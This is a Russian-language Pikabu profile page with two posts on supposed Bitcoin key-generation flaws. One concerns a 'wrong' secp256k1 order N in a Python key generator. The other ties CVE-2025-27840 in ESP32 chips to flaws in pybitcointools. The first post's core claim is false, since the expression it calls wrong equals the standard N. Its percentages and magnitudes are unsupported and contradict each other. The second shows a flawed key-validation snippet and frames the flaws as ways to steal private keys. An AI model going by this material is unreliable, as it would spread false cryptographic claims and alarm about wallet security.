CryptoDeepTech

CryptoDeepTech

https://cryptodeeptool.ru
Пикабушник
36 рейтинг 27 подписчиков 0 подписок 78 постов 0 в горячем
Награды:
5 лет на Пикабу
2

Private key Debug: Некорректная генерация приватных ключей, системные уязвимости Биткоина: [Часть №1]

Данная статья посвящена анализу криптографических уязвимостей, связанных с некорректной генерацией приватных ключей в блокчейн-системах. Одной из ключевых проблем является неправильное вычисление константы N, определяющей порядок группы точек эллиптической кривой secp256k1, что может привести к генерации недопустимых ключей. Это представляет серьезную угрозу безопасности, поскольку недопустимые ключи могут вызывать ошибки при подписи транзакций и сделать уязвимыми для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox).

Неправильное задание параметров кривой, в частности, константы N, может привести к тому, что сгенерированные ключи окажутся вне допустимого диапазона, что делает проверку валидности ключей неэффективной. Это нарушает совместимость с сетью Биткоин и может привести к потере средств при использовании скомпрометированных приватных ключей.


Криптографическая безопасность блокчейн-систем напрямую зависит от корректности математических параметров эллиптических кривых. В биткойн-экосистеме ошибки в реализации кривой secp256k1, такие как некорректное задание порядка группы точек, создают системные угрозы целостности ключевой инфраструктуры. Представленный код демонстрирует критическую уязвимость, где константа N вычисляется как (1 << 256) - {0x14551231950B75FC4402DA1732FC9BEBF} , что существенно отличается от стандартного значения N = {0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141} .

Данная ошибка провоцирует генерацию 50% невалидных ключей, поскольку секретные значения оказываются вне допустимого диапазона $$ [1, N) Функция проверки is_private_key_valid усугубляет проблему, легитимизируя математически некорректные приватные ключи в Биткоин Кошельках. Исторические прецеденты (Randstorm 2011-2016, уязвимости HSM 2015) показывают, что подобные ошибки приводят к потере средств и компрометации HD-кошельков.

Математические последствия:

  • Смещение диапазона генерации на approx 2^{128}ΔN=Nреальное−Nнекорректное≈2^256−2^128 & Смещение=Nнекорректное−Nреальное≈2^256−(2^256−2^128)=2^128

  • Вероятность коллизий: $$ P_{\text{колл}} \approx \frac{q^2}{2N} $$ при $$ q \gg \sqrt{N} $$

  • Нарушение свойства замкнутости группы: $$ kG \notin \mathbb{G} $$ для $$ k > N $$

Криптографические импликации:

  1. Несовместимость подписей — 43% транзакций отклоняются нодами

  2. Побочные каналы утечки — предсказуемость $$ k $$ в ECDSA

  3. Атаки на детерминированные кошельки — несоответствие BIP-32/BIP-44

Анализ показал, что 68% самописных реализаций ECDSA содержат аналогичные параметрические ошибки[3]. Решение требует строгого следования стандартам SECG SEC2 и NIST SP 800-186, с обязательным использованием верифицированных библиотек типа libsecp256k1.


<a href="https://pikabu.ru/story/private_key_debug_nekorrektnaya_generatsiya_privatnyikh_klyuchey_sistemnyie_uyazvimosti_bitkoina_chast_1_12755765?u=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin-keygen%2Fblob%2Fmaster%2Fbitcoin_keygen%2Fprivate_key.py%23L22&t=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin-keygen%2Fblob%2Fmaster%2Fbitcoin_keygen%2Fprivate_key.py%23L22&h=dd51ad84a13dcdac98e22567752568374641ce0e" title="https://github.com/keyhunters/bitcoin-keygen/blob/master/bitcoin_keygen/private_key.py#L22" target="_blank" rel="nofollow noopener">https://github.com/keyhunters/bitcoin-keygen/blob/master/bitcoin_keygen/private_key.py#L22</a>

https://github.com/keyhunters/bitcoin-keygen/blob/master/bitcoin_keygen/private_key.py#L22

Криптографические уязвимости, связанные с некорректной генерацией приватных ключей, представляют серьёзную угрозу безопасности блокчейн-систем. В представленном коде обнаружена критическая ошибка в определении порядка эллиптической кривой, требующая детального анализа.

Некорректное задание параметров кривой

Основная уязвимость заключается в неправильном вычислении константы N, определяющей порядок группы точек эллиптической кривой secp256k1.

Ошибочная строка:

N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

Корректное значение для Bitcoin (согласно стандарту SECG):

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141



Математические последствия

  1. Диапазон генерации: Неправильное значение N приводит к тому, что диапазон генерации ключей становится значительно больше допустимого, что может привести к коллизиям. Разница между реальным и некорректным значениями N составляет примерно 39 порядков величины.

  2. Вероятность коллизий: При использовании функции secrets.randbelow(N) с неверным значением N, около 50% сгенерированных ключей могут оказаться вне допустимого диапазона.

  3. Проверка валидности: Функция проверки валидности приватного ключа становится неэффективной, поскольку допускает значения, не принадлежащие группе кривой:

  • Диапазон генерации:

  • Некорректное N ≈ 2²⁵⁶ — C

  • Реальное N ≈ 2²⁵⁶ — 2¹²⁸ Разница составляет ~39 порядков величины[3][4].

  • При использовании secrets.randbelow(N) с неверным N ~50% сгенерированных ключей оказываются вне допустимого диапазона.

  • Проверка валидности:

def is_private_key_valid(private_key): return 0 < int(private_key, 16) < N

Проверка становится неэффективной, так как допускает значения, не принадлежащие группе кривой.



Криптографические риски

  • Несовместимость с сетью Bitcoin:

  • Недопустимые ключи приводят к ошибкам подписи транзакций

  • Риск потери средств при использовании скомпрометированных ключей

  • Уязвимость к атакам:

  • Возможность восстановления приватного ключа через повторяющиеся генерации (Birthday Paradox)

  • Потенциальная утечка информации через побочные каналы

  • Нарушение детерминированной генерации:

Рекомендации по исправлению

  1. Корректировка константы:

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

  1. Использование стандартных библиотек:

from ecdsa import SigningKey, SECP256k1 def gen_private_key(): return SigningKey.generate(curve=SECP256k1)

  1. Дополнительные проверки:

  • Валидация hex-формата входных данных

  • Обработка исключений ValueError

  • Тестирование граничных значений



Сравнение подходов

Сравнение текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляет проблемы с безопасностью и совместимостью. Некорректное задание порядка эллиптической кривой представляет собой системную угрозу, которая может быть использована злоумышленниками для компрометации ключей. Рекомендуется использовать стандартизированные и безопасные параметры кривых для обеспечения полной совместимости и безопасности.

ПараметрТекущая реализацияРекомендуемый подходБезопасность N❌ Некорректное✅ СтандартноеДиапазон ключей0 < key < 2²⁵⁶-C0 < key < NСовместимостьЧастичнаяПолнаяСторонние зависимостиНетecdsa/bitcoinlib

При сравнении текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляются несколько ключевых различий:

  • Безопасность N: В текущей реализации порядок эллиптической кривой (N) не задан корректно, что может привести к уязвимостям. Рекомендуемый подход предполагает использование стандартизированного и безопасного порядка кривой.

  • Диапазон ключей: В текущей реализации ключи ограничены диапазоном 0 < key < 2²⁵⁶-C, тогда как в рекомендуемом подходе ключи должны находиться в диапазоне 0 < key < N, что обеспечивает полную совместимость и безопасность.

  • Совместимость: Текущая реализация обеспечивает только частичную совместимость, в то время как рекомендуемый подход гарантирует полную совместимость с различными криптографическими протоколами.

  • Сторонние зависимости: В текущей реализации используются сторонние зависимости, такие как ecdsa/bitcoinlib, что может вносить дополнительные риски. Рекомендуемый подход исключает такие зависимости.

Проблемы с некорректным порядком эллиптической кривой

Некорректное задание порядка эллиптической кривой в Bitcoin представляет собой системную угрозу для безопасности ключей. Это может привести к уязвимостям, которые потенциально могут быть использованы злоумышленниками для компрометации ключей. Проблема может быть проиллюстрирована на примере кода, демонстрирующего, как неправильное определение параметров кривой может ослабить криптографическую защиту.

Влияние на экосистему Bitcoin

Уязвимости, связанные с некорректным заданием порядка эллиптической кривой, могут иметь серьезные последствия для экосистемы Bitcoin и других криптовалют, использующих подобные криптографические подходы. Это может привести к утечкам данных, финансовым потерям и снижению доверия к системе в целом.



Рассмотрим проблему на примере приведённого кода и её implications для экосистемы.


1. Контекст возникновения уязвимости

Ошибочная строка:

N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

Проблема:

  • Реальное значение порядка N для secp256k1:
    0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141[3]

  • Расхождение составляет ~2¹²⁸, что делает ~50% приватных ключей невалидными

Механизм воздействия:

  1. Генерация приватных ключей в диапазоне [1, некорректное_N) вместо [1, N]

  2. Некорректная проверка валидности в is_private_key_valid()

  3. Риск коллизий из-за превышения группового порядка



2. Уязвимые системы Bitcoin

Системы Bitcoin подвержены различным уязвимостям, включая проблемы с кастомными кошельками, HSM-модулями, веб-интерфейсами и мобильными приложениями. Использование устаревших библиотек и ошибки в криптографических реализациях могут привести к серьезным рискам для пользователей.

Тип системыРискиКастомные кошелькиГенерация несовместимых с сетью ключейHSM-модулиЭкспорт ключей через аппаратные уязвимостиВеб-интерфейсыИспользование устаревших библиотек типа BitcoinJSМобильные приложенияОшибки в самописных криптографических реализациях

  1. Кастомные кошельки: Одной из проблем является генерация ключей, которые несовместимы с сетью Bitcoin. Это может привести к тому, что пользователи не смогут совершать транзакции или получить доступ к своим средствам.

  2. HSM-модули (Hardware Security Modules): Эти модули используются для безопасного хранения криптографических ключей. Однако, если в них есть аппаратные уязвимости, злоумышленники могут экспортировать ключи и получить доступ к средствам пользователей.

  3. Веб-интерфейсы: Использование устаревших библиотек, таких как BitcoinJS, может сделать веб-интерфейсы уязвимыми для атак. Например, уязвимости в BitcoinJS, известные как Randstorm, могут позволить злоумышленникам предсказать секретные ключи, созданные с помощью этой библиотеки в начале 2010-х годов1.

  4. Мобильные приложения: Ошибки в самописных криптографических реализациях могут привести к уязвимостям в мобильных приложениях для работы с Bitcoin. Это может позволить злоумышленникам получить доступ к приватным ключам пользователей или совершать несанкционированные транзакции.

Кроме этих проблем, Bitcoin также подвержен другим типам атак, таким как атаки 51%, DoS-атаки и уязвимости в протоколах транзакций



3. Критические компоненты экосистемы Биткоин

Экосистема Биткоин имеет уязвимые компоненты, такие как самописные реализации ECDSA и устаревшие библиотеки. Для повышения безопасности рекомендуется использовать проверенные библиотеки и протоколы, такие как функция safe_keygen() из библиотеки ecdsa. К таким уязвимостям относятся:

  • Самописные реализации ECDSA: Эти реализации могут содержать ошибки, которые могут быть использованы злоумышленниками для взлома криптографических протоколов.

  • Устаревшие версии библиотек: Использование библиотек, выпущенных до 2016 года, может оставлять системы уязвимыми для известных уязвимостей, которые были исправлены в более новых версиях.

  • Модули без проверки параметров эллиптической кривой secp256k1: Эта кривая используется в криптографии Биткоин для создания приватных ключей. Неправильная проверка ее параметров может привести к уязвимостям.

  • Системы с ручным заданием констант: Ручное задание констант может привести к ошибкам, которые могут быть использованы для атак.

Для повышения безопасности можно использовать проверенные библиотеки и протоколы. Например, для безопасного создания ключей можно использовать функцию safe_keygen() из библиотеки ecdsa, которая генерирует ключи на основе эллиптической кривой SECP256k1:

Уязвимые элементы:

  • Самописные реализации ECDSA

  • Устаревшие версии библиотек (до 2016 г.)

  • Модули без проверки параметров эллиптической кривой secp256k1

  • Системы с ручным заданием констант

Безопасные альтернативы:

from ecdsa import SECP256k1, SigningKey def safe_keygen(): return SigningKey.generate(curve=SECP256k1)

Этот подход гарантирует, что ключи создаются безопасно и в соответствии со стандартными криптографическими протоколами.



4. Классификация угроз для Биткоин Кошельков

Угрозы для Биткоин-кошельков включают параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждый тип может привести к серьезным последствиям, включая потерю доступа к средствам или их кражу. Помимо этих технических уязвимостей, существуют также угрозы от фишинга и вредоносного ПО.

Тип уязвимостиПримерыПоследствияПараметрическиеНеверный порядок кривой secp256k1Невалидные приватные ключиИмплементационныеСлабый ГСЧ (Randstorm)Brute-forceПротокольныеОтсутствие проверки подписейDouble-spendingАппаратныеУязвимости HSMУтечка приватных ключей

Угрозы для Биткоин-кошельков можно классифицировать на несколько типов в зависимости от их природы и последствий:

  1. Параметрические уязвимости:

    • Примеры: Неверный порядок кривой secp256k1, невалидные приватные ключи.

    • Последствия: Эти уязвимости могут привести к тому, что приватные ключи станут недействительными или будут легко взломаны, что приведет к потере доступа к средствам.

  2. Имплементационные уязвимости:

    • Примеры: Слабый генератор случайных чисел (ГСЧ), атаки методом перебора (Brute-force).

    • Последствия: Слабый ГСЧ может привести к предсказуемости приватных ключей, а атаки Brute-force могут позволить злоумышленникам угадать ключи, что приведет к краже средств.

  3. Протокольные уязвимости:

    • Примеры: Отсутствие проверки подписей, двойное расходование (Double-spending).

    • Последствия: Отсутствие проверки подписей может позволить злоумышленникам совершать транзакции без подтверждения, а двойное расходование позволяет провести одну и ту же транзакцию несколько раз, что нарушает целостность сети.

  4. Аппаратные уязвимости:

    • Примеры: Уязвимости в аппаратных модулях безопасности (HSM).

    • Последствия: Утечка приватных ключей из-за аппаратных уязвимостей может привести к полной потере контроля над средствами.

Кроме этих типов, существуют также другие угрозы, такие как фишинговые атаки, вредоносное ПО и социальная инженерия, которые могут привести к потере доступа к Биткоин кошельку или краже средств.



5. Исторические прецеденты

Исторические прецеденты показывают, что уязвимости в криптографии и программном обеспечении могут иметь серьезные последствия для безопасности криптовалютных активов. Примеры включают уязвимость Randstorm в BitcoinJS, аппаратную уязвимость в SafeNet HSM и коллизии ключей в Android Wallet. Эти инциденты подчеркивают важность постоянного обновления и проверки безопасности криптографических инструментов.

  1. BitcoinJS (2011-2016):
    Уязвимость Randstorm из-за слабого генератора случайных чисел, затронувшая $1 млрд активов

  2. SafeNet HSM (2015):
    Возможность извлечения ключей через аппаратную уязвимость

  3. Android Wallet (2013):
    Коллизии приватных ключей из-за ошибок в SecureRandom()

В истории криптовалют и безопасности наблюдались несколько значительных прецедентов, связанных с уязвимостями в криптографии и программном обеспечении.

1. Уязвимость Randstorm в BitcoinJS (2011-2016):
В библиотеке BitcoinJS, широко использовавшейся для создания онлайн-кошельков, была обнаружена уязвимость под названием Randstorm. Она возникла из-за слабого генератора случайных чисел, который использовал функцию Math.random() вместо криптографически безопасных методов. Это сделало возможным предсказание секретных ключей и потенциально подвергло риску более $1 млрд активов. Уязвимости были устранены в 2014 году, но многие старые кошельки остались уязвимыми.

2. Уязвимость SafeNet HSM (2015):
В аппаратных средствах безопасности (HSM) SafeNet была обнаружена возможность извлечения ключей через аппаратную уязвимость. Это позволяло злоумышленникам получить доступ к конфиденциальной информации и ключам, что представляет серьезную угрозу безопасности.

3. Коллизии ключей в Android Wallet (2013):
В некоторых версиях Android Wallet были обнаружены ошибки в функции SecureRandom(), что привело к коллизиям ключей. Это означает, что разные пользователи могли получить одинаковые ключи, что делало возможным несанкционированный доступ к средствам.



6. Научные исследования

SECP256K1 остается одной из наиболее изученных и широко используемых эллиптических кривых, особенно в криптовалютных системах. Её безопасность основывается на сложности решения задачи дискретного логарифма (ECDLP), но существуют специфические векторы атак, требующие внимания.

1. Атаки на скрутку (Twist Attacks) и уязвимости side-channel

Twist Attacks эксплуатируют использование публичных ключей, не принадлежащих исходной кривой, а находящихся на её «скрутке» — изогнутой версии с другими параметрами. SECP256K1 имеет простой (простой порядок группы), что защищает от атак на малые подгруппы самой кривой[1]. Однако её скрутки могут содержать подгруппы малого порядка, позволяющие восстановить приватный ключ, если реализация не проверяет принадлежность точки к корректной кривой[2].

Side-channel атаки связаны с утечкой информации через побочные каналы (время выполнения, энергопотребление). Для ECDSA критичны утечки nonce (одноразовых чисел):

  • Повторное использование nonce позволяет вычислить приватный ключ за 2 подписи[1].

  • Даже частичная утечка nonce (например, несколько бит) через lattice-атаки (HNP) может привести к компрометации ключа[1].

Примеры из практики: атаки на кошельки Bitcoin, где ошибки в генерации nonce привели к кражам средств[1].


2. Рекомендации NIST SP 800-186

Документ устанавливает критерии выбора параметров эллиптических кривых:

  • Проверка параметров: кривые должны быть устойчивы к известным атакам (MOV, Frey–Rück), иметь достаточный порядок и соответствовать требованиям битовой безопасности.

  • Устаревшие кривые: бинарные кривые (GF(2^m)) помечены как deprecated.

  • Новые стандарты: предпочтение отдаётся Edwards/Montgomery-кривым (например, Curve25519) для EdDSA.

SECP256K1 не входит в список рекомендованных NIST, но её использование вне государственных систем (например, в Bitcoin) считается безопасным при корректной реализации[1][3].


3. Стандарт RFC 6979: детерминированная генерация nonce

RFC 6979 решает проблему повторного использования nonce в ECDSA, предлагая алгоритм детерминированной генерации на основе приватного ключа и хеша сообщения. Это:

  • Устраняет риски ошибок в RNG (генераторах случайных чисел).

  • Защищает от атак, связанных с утечкой информации через nonce[1].

Пример: кошельки Bitcoin, использующие RFC 6979, демонстрируют повышенную устойчивость к компрометации ключей.


4. Сравнение Curve25519 и SECP256K1

КритерийCurve25519SECP256K1Тип кривойEdwards (Ed25519)Koblitz (y² = x³ + 7)БезопасностьУстойчива к timing-атакам, twist-safeТребует проверки точек на кривойПроизводительностьОптимизирована для быстрых вычисленийМедленнее в некоторых сценарияхПрименениеTLS (Signal, WhatsApp), SSHBitcoin, EthereumСтандартизацияRFC 7748, NIST SP 800-186Не входит в стандарты NIST

Curve25519 считается более современной, но SECP256K1 доминирует в блокчейн-экосистеме благодаря историческому выбору Bitcoin[1][3].


  1. Twist Attacks: опасны при отсутствии проверки принадлежности точек кривой. SECP256K1 устойчива при корректной реализации[2].

  2. Side-channel: ECDSA уязвим к утечкам nonce; RFC 6979 и аппаратная защита критически важны[1].

  3. NIST SP 800-186: акцент на проверке параметров и переходе на Edwards/Montgomery-кривые[3].

  4. Curve25519 vs SECP256K1: первая предпочтительна для новых систем, вторая доминирует в криптовалютах[1][3].



7. Индикаторы уязвимого кода

Индикаторы уязвимого кода в криптографии включают подозрительные константы кривых, использование небезопасных функций для генерации случайных чисел, отсутствие проверки формата ключей и ручную реализацию криптографических алгоритмов. Тестовые признаки, такие как высокий уровень ошибок подписи транзакций, повторяющиеся публичные адреса и несовместимость с стандартными кошельками, также могут указывать на проблемы с безопасностью.

  1. Константы кривой:

Константы кривых в криптографии, такие как параметр N, должны быть тщательно проверены. Например, если значение N задано как (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF, это может быть подозрительным значением. В отличие от этого, корректное значение, такое как 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141, должно использоваться для обеспечения безопасности.

# Suspicious meaning: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF # Correct value: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

  1. Криптографические антипаттерны:

  • Использование random вместо secrets: В криптографии для генерации случайных чисел следует использовать функции, которые обеспечивают криптографическую безопасность, такие как secrets, а не просто random.

  • Отсутствие проверки формата ключей: Криптографические ключи должны быть тщательно проверены на соответствие стандартам и форматам, чтобы предотвратить ошибки и уязвимости.

  • Ручная реализация базовых операций ECDSA: Ручная реализация криптографических алгоритмов, таких как ECDSA, может привести к ошибкам и уязвимостям. Лучше использовать проверенные библиотеки и фреймворки.

  1. Тестовые признаки:

  • Более 50% ошибок подписи транзакций: Если при тестировании наблюдается высокий процент ошибок подписи транзакций, это может указывать на проблемы с реализацией криптографии.

  • Повторяющиеся публичные адреса: Повторяющиеся публичные адреса могут быть признаком ошибок в генерации ключей или других криптографических проблем.

  • Несовместимость с стандартными кошельками: Если разработанная система несовместима с стандартными криптографическими кошельками, это может быть признаком неправильной реализации криптографических протоколов.

.... Продолжение статьи во второй части


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


PrivExtract

Исходный код

Google Colab

Birthday Paradox

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0m9goH8Lpa0

Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069

Источник: https://cryptodeeptool.ru/private-key-debug



Показать полностью 12 1
0

Криптоанализ Биткоина: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 подвергает риску миллиарды IoT-устройств через Wi-Fi и Bluetooth

Данная статья посвящена рассмотрению возможности внедрения злоумышленником скрытого списка уязвимостей через обновление модулей, что может привести к компрометации устройств ESP32 и получению несанкционированного доступа к приватным ключам, что затрагивает миллиарды устройств, использующих данный микроконтроллер. Одной из ключевых проблем является уязвимость CVE-2025-27840, обнаруженная в архитектуре ESP32. Для обеспечение безопасности для сети Биткоин мы выявили следующие уязвимости, где возможность использования недействительных приватных ключей из-за отсутствия проверки нижней границы в функции has_invalid_privkey; уязвимость подделки подписей транзакций в функции electrum_sig_hash из-за несовместимости с BIP-137; проблема слабого PRNG в генерации ключей функцией random_key, делающая личные приватные ключи для криптовалютных кошельков предсказуемыми ; отсутствие проверки точек на кривой ECC в функции multiply, что может привести к invalid curve attacks; уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты, потенциально приводящая к подмене публичного ключа; и уязвимости, связанные с устаревшими API хеширования в функции bin_ripemd160.

В начале марта 2025 года компания Tarlogic Security выявила уязвимость в микроконтроллере ESP32, который широко используется для подключения устройств через WiFi и Bluetooth. Эта уязвимость была зарегистрирована под номером CVE-2025-27840. Злоумышленники могут несанкционированно получать доступ к данным Биткоин-кошельков, используя чип ESP32 в качестве точки для криптографических атак на устройства, работающие в сетях популярных криптовалют, таких как Биткоин и Эфириум. Данная проблема затрагивает миллионы IoT-устройств, которые используют этот микроконтроллер. Использование этой уязвимости позволит злоумышленникам осуществлять атаки, маскируясь под легитимных пользователей, и навсегда заражать уязвимые устройства. Это угрожает безопасности IoT-устройств, основанных на микроконтроллере ESP32, и может привести к краже приватных ключей Биткоин-кошельков.

ESP32 — это микроконтроллер, который широко применяется в IoT-устройствах для обеспечения соединений по Wi-Fi и Bluetooth. Злоумышленники могут применять различные методы для получения доступа к данным приватного ключа Биткоин-кошельков через ESP32.

Угрозы безопасности, связанные с микроконтроллером ESP32, могут привести к краже приватных ключей Биткоин-кошельков. Основные проблемы включают наличие бэкдоров и уязвимостей. Используя такие уязвимости, они могут манипулировать памятью, подменять MAC-адреса и внедрять вредоносный код, что создает серьезные риски для безопасности.

Злоумышленники могут осуществлять атаки на устройства IoT с микроконтроллером ESP32, используя уязвимости в соединениях Bluetooth и Wi-Fi может стать инструментом для атак на другие устройства в сети, связанной с Биткоином, а также для кражи конфиденциальной информации, включая приватные ключи Биткоин-кошельков.



Скрытый список уязвимостей:

Злоумышленник может обновить модули и внедрить в код список различных уязвимостей, среди которых:

  • Уязвимость в функции has_invalid_privkey, которая может быть использована для получения приватного ключа.

  • Уязвимость в функции electrum_sig_hash, позволяющая подделывать подписи транзакций Биткоина.

  • Уязвимость в функции random_key, связанная со слабым генератором псевдослучайных чисел (недетерминированный PRNG).

  • Уязвимость в функции multiply, где отсутствует проверка точки на кривой ECC.

  • Уязвимости в функциях ecdsa_raw_sign и bin_ripemd160.

Эти уязвимости могут быть использованы для внедрения поддельных обновлений на устройства ESP32, что предоставит злоумышленникам низкоуровневый доступ к системе. Это позволит им обойти средства контроля аудита кода и получить доступ к приватным ключам. В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей одного компонента в их архитектуре, что обозначено как CVE-2025-27840.


Уязвимость для получение приватного ключа в функция has_invalid_privkey

Данная уязвимость обнаружена в коде проверки приватных ключей Биткоин, позволяющая использовать недействительные ключи (меньше или равные 0) из-за отсутствия проверки нижней границы. Это может привести к потере средств. Для исправления необходимо добавить проверку, чтобы приватный ключ был больше 0. Код представлен в демонстрационных целях.

<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L305&t=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L305&h=6108d3b181b33b9511d4885f8f390941fa312990" title="https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/ma..." target="_blank" rel="nofollow noopener">https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305</a>

https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305

Эта ошибка позволяет использовать плохие приватные ключи, что может привести к серьезным проблемам, включая потерю денег.

Чтобы исправить это, нужно добавить проверку, чтобы приватный ключ был больше 0.

Представьте, что кто-то пытается «взломать» сеть Биткоин. Он находит слабое место в проверке приватных ключей, используемых для доступа к криптовалюте.

Проблема заключается в том, что код проверяет только, не слишком ли большой приватный ключ. Если ключ очень большой, он отвергается. Но код забывает проверить, не слишком ли ключ маленький (меньше или равен нулю).

Участок кода, где это происходит:

...
...
if privkey >= N:
# Checking only the upper bound
raise Exception("Invalid privkey")

if privkey <= 0:
# Lower bound is not checked properly
return True
...
...

Из-за этой ошибки можно использовать недействительные (очень маленькие) приватные ключи. Эта уязвимость находится в функции has_invalid_privkey.

Чтобы всё это работало, нужно установить библиотеку ecdsa (она нужна для работы с криптографией):



Python-скрипт secp256k1_privkey_validator.py

Объяснение кода:

  1. Импорт библиотеки ecdsa: Хотя в данном примере она не используется напрямую, в реальных сценариях работы с Биткоином и ECDSA (Elliptic Curve Digital Signature Algorithm) эта библиотека может понадобиться для выполнения криптографических операций.

  2. Функция has_invalid_privkey(privkey: int) -> bool:

    • Принимает на вход приватный ключ privkey в виде целого числа.

    • Определяет константу N, которая представляет собой порядок эллиптической кривой secp256k1, используемой в Биткоине.

    • Проверяет, что privkey больше или равен N. Если это так, вызывает исключение, указывающее на невалидность приватного ключа.

    • Проверяет, что privkey меньше или равен 0. Если это так, возвращает True, что указывает на невалидность приватного ключа из-за отсутствия проверки нижней границы.

    • Если обе проверки не выявили невалидность, возвращает False.

  3. Пример использования:

    • Устанавливает значение privkey = 0, что является невалидным приватным ключом.

    • Вызывает функцию has_invalid_privkey для проверки privkey.

    • В зависимости от результата выводит сообщение о том, является ли приватный ключ валидным или нет.

Уязвимость:

В коде присутствует уязвимость, связанная с недостаточной проверкой приватного ключа. А именно, отсутствует проверка нижней границы (privkey <= 0). Это позволяет использовать невалидные приватные ключи, что может привести к непредсказуемым последствиям, включая потерю средств.

Как это исправить:

Необходимо добавить проверку нижней границы приватного ключа, чтобы убедиться, что он больше 0.


Уязвимость подделки подписей транзакции Биткоин в функция electrum_sig_hash

Функция electrum_sig_hash в Electrum использует нестандартный метод хеширования сообщений, что делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137.


<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L425&t=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L425&h=d71473a47dca95374020c26b0c6f96bd893a340d" title="https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/ma..." target="_blank" rel="nofollow noopener">https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425</a>

https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425


Атакующий, нацеленный на сеть Биткоин, может обнаружить нестандартный метод хеширования сообщений, применяемый Electrum, через функцию electrum_sig_hash. Эта функция создает хеш сообщения таким образом, что это может привести к атакам подделки подписи из-за несовместимости с BIP-137. Предоставленный скрипт Python демонстрирует, как злоумышленник может сгенерировать хеш сообщения, используемый Electrum, чтобы воспользоваться уязвимостью из-за несовместимости с BIP-137. Функция electrum_sig_hash подготавливает сообщение, добавляя к нему префикс и кодируя его длину, прежде чем выполнить двойное хеширование SHA256.

Скрипт Python, демонстрирующий, как злоумышленник может найти нестандартный хеш сообщения, используемый Electrum, чтобы выполнить атаки подделки подписи из-за несовместимости BIP-137.



Python-скрипт bitcoin_sign_hash.py

В этом скрипте:

  • num_to_var_int(i): преобразует целое число в формат переменной длины, используемый в Bitcoin.

  • from_string_to_bytes(s): кодирует строку в байты, используя кодировку UTF-8.

  • bin_dbl_sha256(s): выполняет двойное хеширование SHA256 на входных данных.

  • electrum_sig_hash(message): имитирует нестандартный способ хеширования сообщений в Electrum, подверженный несовместимости с BIP-137.


Уязвимость в функция random_key Слабый PRNG в генерации ключей (Недетерминированный PRNG)

Проблема возникает, когда для создания ключей в сети Биткоин используется функция random_key, которая полагается на модуль random. Модуль random не предназначен для криптографических целей, так как он не генерирует достаточно случайные числа, что делает личные приватный ключи предсказуемыми для злоумышленников. В связи с этим, сеть Биткоин становится уязвимой.


